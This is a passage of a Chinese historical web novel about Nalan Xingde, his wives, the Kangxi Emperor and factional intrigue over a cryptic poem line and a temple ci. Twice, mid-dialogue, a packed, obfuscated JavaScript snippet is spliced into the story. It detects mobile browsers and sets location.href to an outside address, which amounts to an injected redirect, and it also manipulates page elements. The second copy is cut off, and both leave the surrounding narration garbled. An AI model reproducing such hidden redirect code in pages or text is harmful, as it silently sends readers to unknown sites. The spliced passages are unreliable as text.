“尔谖便是知道公子是二度睡过去的。”卢氏心领神会,“三月多春困,幸而公子的三月病未发,否则便是卧床而非伏案了。” “有你在,我不着病。”容若心神清然,满是乐观,“你要是见我趴在桌上或是靠在榻上,只当我是在小睡就好。” “那尔谖就不惊不扰,独自思寻公子的睡前心情。” “你我之间,已胜过夫妻,仿佛一体,彼此相知。” 卢氏将迎春花移近容若,“公子要为尔谖和这瓶花写一首词吗?” 容若摇头,在卢氏惊讶的神情之中一笑,带着些让妻子紧张了的欣喜感,故意不说话,他要叫她猜,也要叫她同喜同乐。 这是容若的方式,两情相悦之时—— 不回应的太过直接,免得毫无悬念的新鲜感易生易逝; 也不行动的太彰显,免得心心相印的碰撞感只在一瞬。 * 容若道:“被酒莫惊春睡重。” 卢氏听出了字中玄机,夫君这一句:即是断字难句,又是多音字难句,甚至还夹带着两个通假字,可谓是“惹人猜论”的新作新句。 容若笑:“你可是觉得我这句词出的有意无意?” 卢氏用手帕包住了几朵刚刚择下的迎春花,借此来回应夫君:词情不分有无意,花在无别开与落。 容若握着卢氏的手腕,不觉玉镯子冰凉,告诉她:“全词未有,只得了这一句:被酒莫惊春睡重。” 卢氏温笑道:“剩下的,就等公子日后再忆再写全吧!” 容若忽然颤了颤睫毛,双眸微垂,他将包着花瓣的手帕展开,凝神看着。 许久,才道:“尔谖,我忽然觉得……‘忆’字,也是一个悲伤的字。”【注1】 惜花,亦惜她。 此中氛围,难与外人道。 “夫人莫惊春,莫要惊讶春日此日。已是道寻常。” “公子睡重,早醒作画扇,再度入梦中华境。幸而三月未病。” “此被非被,万般心情,由人自主。” “此酒非酒,假虚以实,高哉妙衬。” 容若和卢氏前后道完词句真义,又相互默契地说出:“被酒/莫惊春/睡重。” 【注2】 有春风吹过,吹散了丝帕当中的迎春花瓣,也吹起吹走了桌面上的题词笺纸。 “不知去向哪里的词句,像是风筝,由它有无、由它聚散。” “公子的这句词,尔谖从今日起,就要深深记下,记下一辈子。墨痕不消,纸张尚在,只是换了一种形式去往它处,与九霄共闻歌、与坤灵同万载。“ “留于你心,对我而言就是最好。” “得纳兰词,初生‘一句胜全篇’之感。” 容若笑着,与卢氏一同,各挑了一枝迎春花条而走。 阳光的碎影洒入渌水亭回廊,落在他俩身上,别有“执花散策”之美。【注3】 * 却说徐乾学不知怎的得了纳兰性德的那一句词:被酒莫惊春睡重。 此刻,他正在“花鸟风月楼”内当着诸多三教九流的宾客的面,夸夸其谈。 “……爱徒容若乃是我大清第一至情之人。他与爱妻卢氏的感情之深,岂是白天恩爱不离、夜晚共寝鸳鸯被可以浅括的?哪怕他只是为这些寻常情境写一句词而不是半阙整篇,也胜过你等凡夫俗子百倍。” “徐某身为纳兰性德座师,今日抽空前来雅楼,就是为了给众人详细解剖纳兰心事。要是徐某自称是全天下第二了解纳兰性德之人,就没谁敢称第一。” 张纯修坐在一处,冷眼瞧着听着一切。 然后,他打发了场子内的管事过去:“你去问问徐乾学,今儿想在这儿唱哪一出戏?” 场子管事问:“徐大人,今日您是想做什么啊?” 徐乾学抬头挺胸,摆出一副官姿来:“本官正准备拆解纳兰词——” 场子管事给张纯修回了话:“楼主,姓徐的说自己要解读纳兰公子的词作呢!小的看清楚了,他带来的、用大字写在卷轴上展开的,正是纳兰公子的新名句:被酒莫惊春睡重。” “知道了。”张纯修示意场子管事自寻位置坐下,“那句词最是难解,说实话我也不解,其意义只有纳兰自己能懂。” “是。小的与张楼主一同——看看那姓徐的玩弄什么坏心眼的话术。” 场子管事坐了下来,忠心道:“届时只要张楼主一声令下,甭管楼主宾客作何反应,小的都立马带了人下去、逐客徐乾学!” * 大客堂之中,众宾客只听见那徐乾学指着那自写的挂轴,滔滔不绝道: “好一句:被酒莫惊春睡重。” “纳兰性德想要表述的意思是:春日美好,他喝了些酒,妻卢氏见他醉后酣睡,便不忍打扰他,任由他神游深深梦境。” 徐乾学说罢,故作姿态地赞叹了两声,又说出另一番冷酷无情的话来: “徐某听闻,自古以来:情深者不寿,慧极者必上,纳兰性德偏偏是把这两样都占了,竟不知其在昨日的欢愉旧梦之后,来日的长厢厮守是否可期?可惜,可惜啊……酒能使人醉,也能使人愁。” “徐某为其师,日常对其多有学问督导和心情排遣,却是独独遗漏了教他:不可陷于情、不可深于念、不可执于诺。实在是惭愧、惭愧。” “所幸今日,有众宾客为我徐乾学作证,纳兰性德的‘至情’和‘伤情’都是与生俱来的,与我这个老师疏于教导无关。” 此时,从西南边的角落里发出了一声响喝: “徐乾学,好你这个饶舌调唇的小人!纳兰公子心情,岂容你曲解?” 徐乾学和众人朝那边一看,原来是因为“不成不弃,誓死营救好友吴兆骞”之事,名声早已传遍京师的顾贞观。 场子管事应了张纯修的吩咐,走下楼去。 询问顾贞观:“那顾先生以为,这只有一句、没有前言也没有后语的纳兰词句,该做何解啊?” 顾贞观大声道:“总归不是照着徐乾学的胡说来解——” 众人皆是一副看戏的神情。 就等着顾贞观与徐乾学大吵大论,好把氛围炒热,甚至是传入皇宫当中去。 顾贞观天不怕地不怕,开始陈述己见。 “被酒莫惊春睡重。这句——”顾贞观指着挂轴,反驳道,“徐乾学方才所念的:bei jiu mo jing chun shui zhong全是错的,顾某以为,应当是念作:pi you mo jing chun shui chong。” “哈哈哈。”徐乾学大笑,边笑边拉过一名书生来问,“你说是本官念的对?还是他顾贞观念的对?” 那书生谁也得罪不起,就折中而答:“那得问纳兰公子本人啊!” 顾贞观对徐乾学的反应并不理会,只继续道: “古书有云:‘被’通‘披’,意为披露何表露;‘酒’通‘酉’,意为迁就驯就。纳兰公子体质不宜饮酒,你知我知天下知,何来‘喝酒喝到酣睡’之说啊?” “严绳孙为顾某之友,其曾在明珠府中小住时日,顾某从其口中听得:‘卢氏夫人在纳兰性德眼中:德胜于才,平日多得多作心情小笺,并非工于诗词。’由此可见,‘披酉睡重’四字皆是纳兰性德想象,并非在现实之中上演,何来‘卢氏不忍叫醒夫君’之说啊?” 在顾贞观连续的“何来”二问中,众宾客议论纷纷。 徐乾学则是沉着脸,没有直面回应一句话,免得自己坐实了“身为纳兰性德的老师,,对学生却毫不了解”的恶名声。 顾贞观又道: “ ‘重’之所以念chong而不是zhong,原因在于:纳兰性德想表达的是‘再度因病卧躺’的意思,而非卢氏夫人不忍叫醒‘深度睡下’的他。‘莫惊’二字,乃是做‘莫要惊讶、已习惯’解,表示纳兰性德早已对这样的日常心里有数,绝非卢氏内心:莫要惊醒公子之拘念。“ “因此,按照顾某的理解,‘被酒莫惊春睡重‘的意思,就是:纳兰性德和卢氏,夫妻之间常有披露驯就之语,早已习以为常。卢氏知晓夫君春来三月病多发,所以明晓夫君因何再度歇下。” 场子管事道:“顾先生所言,真是叫我等醍醐灌顶啊!来日顾先生若是跟纳兰公子成为忘年之交,情分之深,怕是我等无法想象的。” 众人纷纷道:“是啊,是啊……” 唯有徐乾学刮鼻冷道:“照本官看,顾贞观才是不知廉耻地曲解纳兰词句之人!” 顾徐二人之间,便又起了一番论战。 直到楼主张纯修看够了也听腻了,走下楼梯出现在他俩面前时,顾徐二人才画上休止符,各自散去。 场子管事跟在张纯修身边,“张楼主,容小的再多嘴问一句,你觉得顾贞观和徐乾学,可是双双都错?” 张纯修走向画室,“改日我问问纳兰,等我拿到了他本人的说法,再与你说明。” * 一日午后,索额图府邸。 管家匆匆来报:“老爷,夫人,长公子从福建寄来书信!” 索额图摆出“准没有什么好事”的神情来,对佟佳氏道:“夫人,你代本官先看。” 佟佳氏便从管家手里接过信封,拿了剪子剪开封口,抽出里面的信件看起来。 看罢,她道:“老爷,阿尔吉善说:郑成功之子郑经,当年就是违背了父亲的本意、在郑成功病逝后欲建立东宁国。当时郑经还放出了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14790163|138365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一句话‘:台岛离得远,吾与万民应得大自由!’如今郑经竟然公开称……称大清要想招抚台岛,就要效仿朝鲜之事例,不削发,称臣纳贡,尊事大之意,则可矣!” “大胆——!!” 索额图铮铮一喝。 “本官看郑经是反了!!妄图效仿朝鲜让台岛成为大清附属国。这个‘国’是他正经能说和能治理的吗?他这是堂堂跟我大清过不去!!” 次子格尔芬道:“阿玛你要是真有骨气,就该把长兄的书信原原本本地上呈给康熙皇帝,别只会在家人面前做样子!” 索额图正要回应,又听见夫人道: “老爷,阿尔吉善的新中还有其他内容。他说福建水师派出的精英探子进入台岛后,获得密报:郑经手下的两员臣子说郑克塽并非其亲生,郑经本来疑心就重,事态已经发展到了水深火热地步。” “这不是明摆着离间郑氏的父子关系吗?”索额图指出,“那两个臣子要么是想煽动郑克塽篡位,要么是想看郑氏父子两败俱伤、好称了独揽大权之心。” 佟佳氏道:“郑氏集团内部分裂、人心惶惶,对我们大清来说是好事呀!” “没错,是好事,”索额图又把话锋一转,“但也是难事。郑氏的兵力不可小觑,没准郑经认清那个两个佞臣的真面目后,会父子同心再敌对大清也未可知。” 格尔芬问:“既然长兄把该传达的讯息都传达了,那接下来阿玛打算怎么做?” 索额图毫不犹豫道:“本官先要去禀明皇上,然后再叫皇上治了施琅的罪!” 格尔芬觉得可笑,“敢问阿玛,施琅大人有什么罪?” 索额图恨道:“施琅得知的情报肯定比阿尔吉善多、比阿尔吉善快,可他却对皇上隐瞒不报,这不是亵职就是私心投靠了明党、向着明珠父子!” “儿就知道阿玛你会这么想。”格尔芬习以为常,“但凡有些对己对索党有利好的机会降临,阿玛你就巴不得揪出把柄来敌对明党。” “本官是就事论事。”索额图用手指点了点桌面,“施琅本就有:只要涉及军事军机,事无巨细都要向皇上报告之责。谁叫他不那么做?谁叫本官得知了呢?” 格尔芬不再说话。 往后事情会演变成什么样,就等往后再看吧。 * “庄周梦蝶”字画店。 宾客满堂,甚是热闹。 “本店新得了纳兰公子墨宝楹联一对。” 周老板意气风发:“上联:李时珍治本,本草纲目;下联:宋应星谈天,天工开物。” 众文人墨客和古品玩家们皆是对周老板拍掌相贺,这幅对联绝妙,含名人名事,名家名作,可谓是天衣无缝,只是……还少了个横批。 “治本与谈天,纳兰公子可谓是苦心孤诣又匠心独运呐!”一书生惊叹,“学生愚钝,这两个词要是放到学生笔下,怕是早担了一个‘胡写误民’之罪了。” “张生你不必妄自菲薄。”周老板在众人面前给那个书生打气,“你多来我这里沾沾纳兰公子的才华气,功名自然水到渠成。” 一书商道:“周老板,你跟曹寅曹侍卫关系好,再跟我等讲讲《天工开物》的案子是怎么回事吧!” 周老板便打开了话匣子: “根据曹侍卫查证,这一切乃是裕亲王一时兴起,想读点不一样的东西,才叫了幕僚施道渊施道人想了法子来,把宋先生的手稿全部弄到手。” “只是在此期间,三方外部势力搅的是不清不楚:康熙皇帝要找书,那是为了把书当生辰贺礼给了纳兰公子;索额图要找书,那是为了撇清自己安排不怕死之人的劫镖盗书罪名;徐乾学要找书,那是为了自己升官发财和加害宋先生与纳兰公子。” “现在是一切都被曹侍卫探的水落石出了。” “皇上可是没有追究任何一个人的责任?” “是啊,皇上圣明着呢,谁都没怪。唯独是给办案得力的曹侍卫赏——赐了一把犀角手柄的佩刀和一只青瓷双耳瓶。” 此时,有两位不速之客登门而入。 此二人,一着青灰色棉质道袍,一着纯黑色夹絮长道袍,皆是仙风道骨,不与他人相同。 “哎呀!这不是施道人和高道人吗?”周老板对来者热情相迎,“我这字画店今日可是处处生辉啊!” “我等来向周老板你讨要纳兰公子的楹联。”高祗虚信步来到挂轴前面,“此物玄机无穷,不可消受于此,还须由本道和施道人各执半联,带回观内为纳兰公子祈福消灾。” “是是是。都依道人所言。” 周老板立刻把楹联取下,恭恭敬敬地送到了两位得道高人手里。 那名书生像是忽然开了窍一般道:“敢问两位道人,纳兰公子楹联中提及了‘本草药王’李时珍,可是盼着自己的寒症能够得治?毕竟下联《天工开物》只是一套方法论,还需上联的《本草纲目》来逢仙家、寻良药呀!” “我等正是此意。”施道渊回应,“寒症虽难治本,但是道法自然,却能缓急治标。” 那书生垂腰拱手:“学生替纳兰公子谢过施道人、高道人。” 待周老板请了两位高人坐下,奉上了好茶,却是听见两人的这般玄理之言。 “师弟。”高祗虚道,“你之筹谋,福祸相倚,当下虽是借公子自得圆满,日后还需自作反省,兼备大局才是。” “谨遵师兄教诲。”施道渊清然认过,“弟子会在王爷府上日夜清修,全心向道,待到时机成熟之日,再报效大清、相助王爷。同时,亦不忘为纳兰公子祈福祛病。” 高祗虚靠近施道渊耳侧,片手掩嘴:“你我算得纳兰性德的官阶之名,也算得其担任该职位之前的一场沉浮。其日后,是从武职而非文职,是扈驾君侧于天南地北而非顺遂平生愿啊……” 施道渊小声阻道:“师兄,你不可说透,不可说透。” 【注1】世界上最悲伤的字:卢氏认为是“若”字,纳兰性德认为是“忆”字。 【注2】纳兰性德名句,自古多解,断句之说法有二。本文取本章之中:顾贞观的说法为正解。 【注3】执花散策:拿着花枝散步。考自《明珠家事》。 163.第163章 天高云淡,正宜出游。 纳兰容若与沈宛一同,避开人多的闹市,不入偏僻幽境,而是去往登高处。 二人站在高山之巅,踩在厚实的黄土之上,眺望远方。 目之所见,是一片苍茫的地界线与天界线相接,好似一幅大墨泼染的图画:深绿色的是数不尽的古树、灰褐色的是纵横交错的道路、绯红色的是经年累月的建筑群落。 容若心中有“瑟然”之感。 并非萧瑟黯然,而是那种难以用语言来描述的、不可与岁月轮回相争的无力。仿佛天地万物早已穷尽一切道理,留给仰望之人的,不过是如沧海一粟般渺小的感慨罢了。 容若便不再高处久留,而是邀了沈宛一同顺着山上的小径往深处走。 深处有什么风景?有什么建筑?有什么歇脚地?他都不知。 只是抱着一种“随缘而进、随遇而安”的心态,步步走着,等待尽头揭开谜底,解惑寻路人的多猜。 “我想多半是寺庙,要不就是修仙之人留下的茅寮。”沈宛推测,“公子期待着叩门之喜吗?” “只怕是地广屋空,叩门或是打招呼,也不能寻来人影。”容若心境坦然,“但是这种古色古香、思往知今的心情,却让我平和始终。” 沈宛笑道:“如果,咱俩遇见了活神仙,能够一并携游皇极凌霄殿呢?可还思回来之路?” 容若神往之,“我愿留下,饮瑶浆、食仙桃,日日听凤凰清音,长做天上仙。” 沈宛欣然,“那我也不愿再度回来,愿成一仙娥,织彩锦、尽仙职,夜夜对月聊相思,只将红绳系心弦。” * “公子你看——”沈宛往前一指,“是座不知岁月的残庙,上面牌匾的寺名已经不能辨识。” “是啊,已经脱落斑驳,看不清了。”容若的视线从下转移至下,“宛卿你发觉没有?到了山深处,气温骤降,落败的枯叶也能将溪水填凝成冰。还有这寺庙两旁的亭子,原本是供香客们洗尘用的,如今在日照之下,却是有着长短不一的影子,早已失去了对称之美。” “是了,公子说的无错,佛门当中是要设置‘短长亭’的,这个规矩出自南朝梁武帝时期。”沈宛往自己读过的史书的细节去想,“那时候寺庙众多,僧人们都极受礼遇,‘短长亭’左右各设置三座,却都容纳不下络绎不绝的香客们。” “物是人非。”容若边摇头边往里走,“洗尘的亭台已被千百年流光削了长短,再无法复原了。” 两人各拿了一把苕帚,扫开了地上的破旧瓦片,才顺着梳理出来的“通道”进入佛堂前。 “天公尚有慈悲在。” 容若拿出自己的手帕,擦了擦跟前的石碑。 “风风雨雨,日月星辰淡却了寺名牌匾,却未剥夺碑上文字。” 容若念了出来: “灯花跌落梦犹惊,黄卷青册只沉思。 蓑笠抛溪无沙鸥,空山梵音多雨气。 一念半生发已白,半宵独吟骊山音。 犹记十三成富贵,西风推窗老来泣。” “宛卿,我知道词诗是谁所做,也知道此古刹的前住人是谁了。” “公子学富五车,知晓的典故比谁都多。” “是唐代的‘斗鸡名人’贾昌。” 容若告诉沈宛: “贾昌幼时家境清贫,买不起战斗力强的雄鸡战于闹市,便用木头制成了木鸡来自斗自乐。恰好是被出游的唐玄宗遇见了,玄宗皇帝认为此少年是个奇才,就将他带入宫中,专门负责训练斗鸡之事。” “数年经过,十三岁的贾昌到骊山华清宫拜见唐玄宗和杨贵妃,献上了一出‘木鸡戏’,深的好评。又过了十年,唐玄宗将长袖善舞的歌姬潘氏指婚给了贾昌,夫妇二人同沐圣恩长达四十年。安史之乱起,贾昌护着玄宗皇帝逃跑,却终究是经历了一场盛大悲剧。” “至此,贾昌才参透了‘荣华富贵,皆是过眼云烟;君恩君宠,皆是浮云过境’的真理,削发为僧,礼佛至九十八岁,得以善终。只是书典之中记载,贾昌是在长安寺出的家,当下你我却在京华的深山觅得真相,也算是结缘、顶真了。” 沈宛将容若手中已经染尘脏了的帕子拿掉,递上自己的手帕给他,道: “我相信公子所说,此处正是贾昌出家的寺庙。贾昌活了将近百年,想必收藏和亲自抄写的经书不少,我晓得公子不想让里面的《般若经书》蒙尘,定会再度擦拭净消。” 容若对她点头,往正殿当中走。 果然,在一尊木雕的释伽牟尼尊像之前,看见了数卷古朴经书。 擦净书面尘埃,可见《金刚经》三字;抖落书体残屑,可感时境变迁;抚翻书页墨痕,可知旧时人旧时心情。 容若后退三步,双手合十,面向大佛尊像。 “如是我闻,一切应作如是观。” “弟子此生,向心礼佛之事、相信机缘之谈,愿以此真身,获大智慧,向无量海,入无穷境。诸事多变,诸行无常,如露如电,莫不如诚挚发此一愿,消除众灾厄。” 沈宛看着容若的背影,只能半猜他心中所想、半明他对大佛所言。 她心中湛然的,是有这样一个高门公子: 入寺多感,落叶自填水,亭影成长短,遗憾寺名失; 入禅多悟,一碑一卷,佛前何处灯明?明灯自在心安处。 离寺之前,容若独自背对日光。 在他修长的身影中,沈宛听见了这样一句话:“今日你我近临碑上诗,拨尘佛教经典,涤荡心灵,实无遗憾。” 她来到他身边,靠近他,回应道:“公子是虔诚之人,福慧双修,我亦分然,的确无憾。彼此在古刹之中知史明史、素心问佛,便是值得。” 她踮起脚尖,在容若耳旁道: “我喜欢这般安静的公子。所言即所思,所观即所想,在沉厚的历史和过往的流光里,公子的心是问的。世上女人,皆求所爱男子的温润性子和温柔心。” 是日,在“饮水词歌·素菜馆”雅室中。 纳兰性德作《浣溪沙》一首。 败叶填溪水已冰,日光犹照短长亭。何年废寺失题名。 倚马客临碑上字,斗鸡人拨佛前灯,净消尘土礼金经。 * 数日后,养心殿中。 康熙皇帝正在看索额图呈上的信件。 索额图信誓旦旦道:“启禀皇上,台岛郑氏集团内部多生异变,我朝应当速速发动兵力攻打,莫要错失了着难逢契机。臣之所言,千真万确,我儿阿尔吉善在军中多时,不敢在家书上胡写乱说!” 康熙皇帝问:“郑经真的说出了一个‘国’字?真的想要跟朝鲜一样在台岛当个一国之君?” “此人仗着父亲郑成功的功绩,骄纵傲慢,从未把皇上您和大清朝放在眼里,口不择言之举多矣。我朝若是再做忍让,恐怕只会叫那人助长姿态,越发敌对朝廷!” “朕多采用招抚安抚之策,如今台岛并未越过海线扰民、并未疏于对大清纳贡,施琅将军也未对朕报告索大人你所言及之事,你却频频让朕对台岛动武力,用意可是真在于完善大清版图?” “皇上,施琅大人怕是早已成为纳兰明珠的心腹了!”索额图大声强调,“日后他的养兵、练兵、出兵,以及海策、海管、海战,是听从于朝廷还是为纳兰明珠所操控,可就难说了呀!” “如何见得施琅将军跟明珠来往密集?关系非疏?” “其与纳兰家之间常互通有无,形式不限于书信、特产、人脉,双方传使行径可有守城官兵见证;其对明珠父子的效忠程度和信任之心,可见于福建水师军营之中;其训练水兵所用到的战舰,据臣所知,除了用到朝廷下拨的国库钱款外,还有不少源自明珠父子的出资。” 康熙皇帝眉头紧锁。 索额图所言,句句在理,只要稍作求证,必定真相可证。 “朕和朝廷,都是在用人之际,施琅将军是良将,良将自有良将做派,其与明珠父子往来,只是出于人情层面,并未危及大清国本。至于索大人你说的施琅将军听命于谁的事,朕以为他会以大清的利益至上、以大清的苍生为念。” 索额图故作姿态地叹了一口气。 “皇上,明珠父子所积累的财富数不胜数,臣望尘莫及。” “这些不义之财明珠父子不用在施善黎明百姓和筹建寺庙上,反而跟军备军火扯上关系,臣只恐他俩动机非纯!” “够了!”康熙皇帝打断,“到此为止,朕不想再听你多言。索额图,你退下吧!” 索额图还想多说几句,却见康熙皇帝不耐烦地摆了摆手,叫梁九功去送客,也只得听从皇命告退。 * 后宫之中。 孝庄刚刚从供奉着多尔衮的宝刀的密室出来,今年是多尔衮战死的第几年恤祭,她还记得清清楚楚。 偌大的江山版图,偌大的紫禁皇城,能够再追忆这位大清功臣的人,除了她,怕是再也没有了。 孝庄平复了心情,躺在了慈宁宫的软榻之上,静静歇了半晌。 苏麻喇姑进来。 她唤醒了太皇太后,一边关切着、一边扶太皇太后坐起。 “老祖宗,这是意妃佟佳·景茵珠亲自为您挑选和串线的金丝楠木手串,奴才拿过来了,您看看可还适合盘玩?” “景茵珠的心意送到,这个最初的封号的确是适合她。”孝庄复问,“最近皇上可是对她专宠?” 苏麻喇姑见太皇太后并未把盒中手串拿出来看,而是暂时放置在一旁,就猜测:实际上,太皇太后对意妃的做法并不领情。 她道:“回老祖宗,选秀结束和给新入后宫的秀女定下位分和住处之后,皇上是每一个新人都去对应的宫中瞧过的。但要说谁最得宠,的确是佟佳·景茵珠。” 孝庄平静,“皇后钮祜禄氏那边呢?皇上可有常去?” 苏麻喇姑如实道:“敬事房公公送来的册子,奴才都看过了:这个月,皇后娘娘侍寝六次,德嫔侍寝三次,惠妃和荣妃各是两次,宜妃一次,其他时候,皇上都是翻了佟佳·景茵珠的牌子,留在景仁宫安置的。” 孝庄心情复杂地看着桌面上那个雕工讲究的盒子。 “也就是说,这个月皇上有一半的时间都给了意妃?照着这般下去,皇上岂不是要立刻给她进位分为‘贵妃’了?” 苏麻喇姑也有所担心:“只怕佟佳氏会变成第二个董鄂妃,于皇上名声和大清后宫不利。” “意妃不敢也不会。”孝庄断言,“她身后站着的,是她阿玛佟国维的派阀和她弟弟隆科多的前途,她不能恃宠而骄。” “那佟佳氏给老祖宗您送金丝楠木手串,用意何在?” “再说吧!” 孝庄揉了揉太阳穴,闭眼小憩。 * 康熙皇帝午歇醒来。 不知为何脑海之中又回响了部分索额图的话。 他对伺候在身边的总管大太监顾问行道:“顾总管,朕听说翰林院的彭定求把纳兰性德的新词视为‘天下描写寺庙’的第一佳作,与座师蔡启僔一同聊论通宵,此事当真?” “回万岁爷,当真。”顾问行仔细回话,“今儿早晨索大人说明珠父子的钱财不用在寺庙修缮和供香添油上,可是个误解。奴才当时就想跟万岁爷提这事了,又怕被索大人指责出一条‘蛊惑圣心’之罪来,所以沉默至今。” “你在宫里当差当的久,听闻过的事和听说过的轶闻都比朕多,朕问你:这《纳兰词》当中的‘短长亭’在何处?可是指烽火台?” “哟!”顾问行一哆嗦,忙道,“这哪能是烽火驿站呢?万岁爷您莫要再陷入索大人的言语之中,真当明珠父子的钱财处处涉及军火军备,居心叵测。” “可是从词中朕能读出来,纳兰就是站在高处抒发感慨。那他站在高处所见,皆是烽火台也不出奇。” “奴才愚见,《纳兰词》中的‘长短亭’三个字,指的是送别的亭台。” 康熙皇帝忽然站起,一脸怒火。 顾问行以为自己惹了君怒,立刻跪地请罪。 “朕没怪你,只是想到纳兰性德的祖上叶赫那拉一族,就是不屈于太祖皇帝努尔哈赤的征服,险些灭族。如今纳兰竟敢大胆地写出一句‘何年废寺失题名’来,朕看索额图说的也没错!明珠父子的确是对朕心怀不满!” “这……这……” 顾问行不敢多言。 “纳兰性德这是借了废寺牌匾已不能辨别寺名之词句,来回怪朕剥夺了他的状元之名和入翰林之梦。” “他骨子里作为叶赫那拉氏后人的血液在沸腾,他这是想告诉朕:寺庙从前也是存在于人烟和聚落之中,日日香火不断的,就像是未被老汗王征服前的叶赫那拉部族一样,牛肥羊壮,草丰人盛。到如今,他自己的仕途遥遥无期,叶赫那拉部也不可能重现昔日繁荣。” “朕越想越不自在!朕欠纳兰性德什么吗?” “万岁爷,您可千万消消气啊!”顾问行低声劝着,“照奴才看,纳兰公子绝无此意。” “他有没有朕自己会辨!”康熙皇帝仍旧积恨于心,“好啊,前有东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“调侃康熙皇帝不会用人,泣恨太祖爷努尔哈赤对你的祖上叶赫那拉氏族残酷无情。纳兰性德,你这是罪有二等:大不敬和言论祸国!” “皇上这是牵强附会,多心曲解《纳兰词》,跟徐乾学有何分别?” “朕要是传了徐乾学来,他能透过《纳兰词》说出更多顺遂了朕的心思的东西来,你信不信!”玄烨威胁道,“至于彭定求和蔡启僔,他俩向着你,追捧你的词和你的文章,若非朕宽宏大量,早已当着你的面叫他俩同罪,就看你愧疚不愧疚,一己之错,牵涉多人。” 菩提树安静无言,淡看君臣对峙多言。 天星明亮摇摇欲坠,圆月躲云半遮是非。 * 君臣二人沉默许久。 直到敬事房的公公过来请康熙皇帝翻牌子,遭了康熙皇帝一通没好气的骂言、倒退着请罪离开之后,君臣之间的无声氛围才被打破。 而敬事房公公将此事回了苏麻喇姑以后,苏嬷嬷只道: “皇上不去后宫就不去后宫吧,照着惯例传下去,让各位主儿不必等了就是。” 随后苏麻喇姑又进道殿内去给孝庄回话:“老祖宗,皇上这会儿跟纳兰公子在一块儿,今晚没有翻后宫主儿们的牌子。” 孝庄喝了口暖茶,“问过了吗?皇上因何事到了这个时点,还不肯放纳兰回去?” 苏麻喇姑道: “顾总管派徒弟梁九功来说过了,这事的起因是:索额图索大人今儿早上拿着一封长子阿尔吉善的信件去找了皇上,说了福建水师军况、台岛郑氏集团内况之后,又将矛头直指施琅将军,说是其与明珠父子来往紧密、相互勾结……让皇上对三者不可不防。” “等到了午后,皇上因为纳兰公子的一首新词《浣溪沙》被翰林院中人提起,而多有生疑,就跟是中了索党的居心一般,开始猜忌起《浣溪沙》当中的‘大罪’来。这会儿估计还没理清呢。” 孝庄听明白了,道:“我看皇上放在纳兰身上的罪名只是借口,说白了,他还是嫉妒纳兰的才华。” * 养心殿内灯火通明。 玄烨跟纳兰之间,为《浣溪沙·败叶填溪水已冰》这首词争辩已久。 “皇上非要这么想,叫臣怎么再自我辩白?” “太祖皇帝和顺治皇帝也不会饶你!”玄烨忽然把列祖列宗搬了出来,“填冰碑上,拨灯消土,纳兰你就是在发泄不满——你的祖上叶赫那拉一族为太祖皇帝努尔哈赤所灭,你的祖王父多尔衮为笃信佛教的顺治皇帝所害……你大胆!放肆!!” “臣从来没说过太祖皇帝所征服叶赫部落有错,也没说过祖王父多尔衮是先帝所害,请皇上明鉴。” “好,朕姑且信了你。你明明白白告诉朕,词中的‘短长亭’是不是指烽火台?你和明珠有无私购军备火器?” “不是。‘短长亭’是自南朝就有的、供香客们洗尘的设立在寺庙正殿外面的亭子。皇上的后半句话,恕臣无言以答,只能剖开心肝来给皇上看。” 玄烨虽是在心里承认了纳兰的无错赤诚和自己的学识欠漏,却并不觉得自己身为皇帝的颜面挂不住。 只见他指向大门,冷漠一喝: “纳兰性德,你现在就到侧阁去给朕思过!没有朕的同意,不许出来!” * 斜倚窗边,纳兰唯见夜空散珠、明月当中。 念及沈宛,念及家中的妻妾孩儿,纳兰轻叹。 就这么一夜无眠过后,一大早,梁九功梁公公过来传话,说是:“万岁爷准了公子回府。” 纳兰询问了康熙皇帝过后的态度,得到回应是:“万岁爷下令翰林院的蔡启僔蔡大人领众位编修同解《饮水词》《侧帽集》,要在明年三月份之前拿出成果来见。” “明年?” “是啊!”梁九功感慨,“这下子江南书商们可是不高兴了,他们聚集在京师,都是等着刊印公子的词集的。万岁爷的旨意如此,也不知道具体何时,民间才能得个准印权限呢。” “罢了,如今我二十二岁,大婚三年知妻贤,大志五年现成就,我就赌自己二十四那年词集能出版,只是在秋后。” “公子自然是最懂万岁爷心思的人。如此,天下书商们也好有个盼头。” * 纳兰照着规矩,跟着梁九功去养心殿给玄烨“请了早安”和“谢了皇上开恩”才归。 纳兰离开后,玄烨平静如常。 顾问行在一旁察言观色,谨慎以待。 这位大清天子,只对着空气默默道: “纳兰,别以为昨晚睡不着的只有你一个人,朕也一样。但是朕精力充沛,今日照常细批奏章,励精图治。” 164.第164章 一路乘着马车到家,掀帘落地之时,容若打个哈欠。 此刻,他只想回房歇下,温梦半晌,逢遇周公。 只是不知为何,容若才踏入家门,就觉得家中上下都笼罩着一种紧张的氛围,寂静无声反而是可怕。 再看正面花园、花园正前方的客厅和侧面的居室,以及远处的渌水亭长廊,他总觉得哪里不对劲,像是经历过什么干戈争斗,才好不容易迎来了安宁消停一般。 卢氏上前,引着夫君往房间走。 “公子昨夜未归,所以不晓得昨夜家里发生了一件大事。” 容若下意识问:“家人们可都还好?” 卢氏言简意赅道:“都安然无恙。” 容若这才入了正题,问她:“发生了什么事?” “有刺客潜入,下手的目标竟然是额娘。”卢氏心有余悸,“好在是阿玛及时赶到,已经着人将刺客就地拿下。” 容若不解:“为何……刺客的目标是额娘?” “尔谖不知。”卢氏道,“刺客不肯招认背后主使,阿玛的意思是:等公子回来再商量着办。” 容若去了衣装,躺歇上了软榻。 卢氏在一旁陪伴,她知晓夫君困倦,所以未多开口。 “额娘受了惊吓,尔谖和你袖云要一并到额娘身边去宽解着。” “袖云妹妹正在额娘房中陪着,尔谖是见公子回来,才刚刚从额娘旁侧出来,告知公子昨夜家中情况的。” 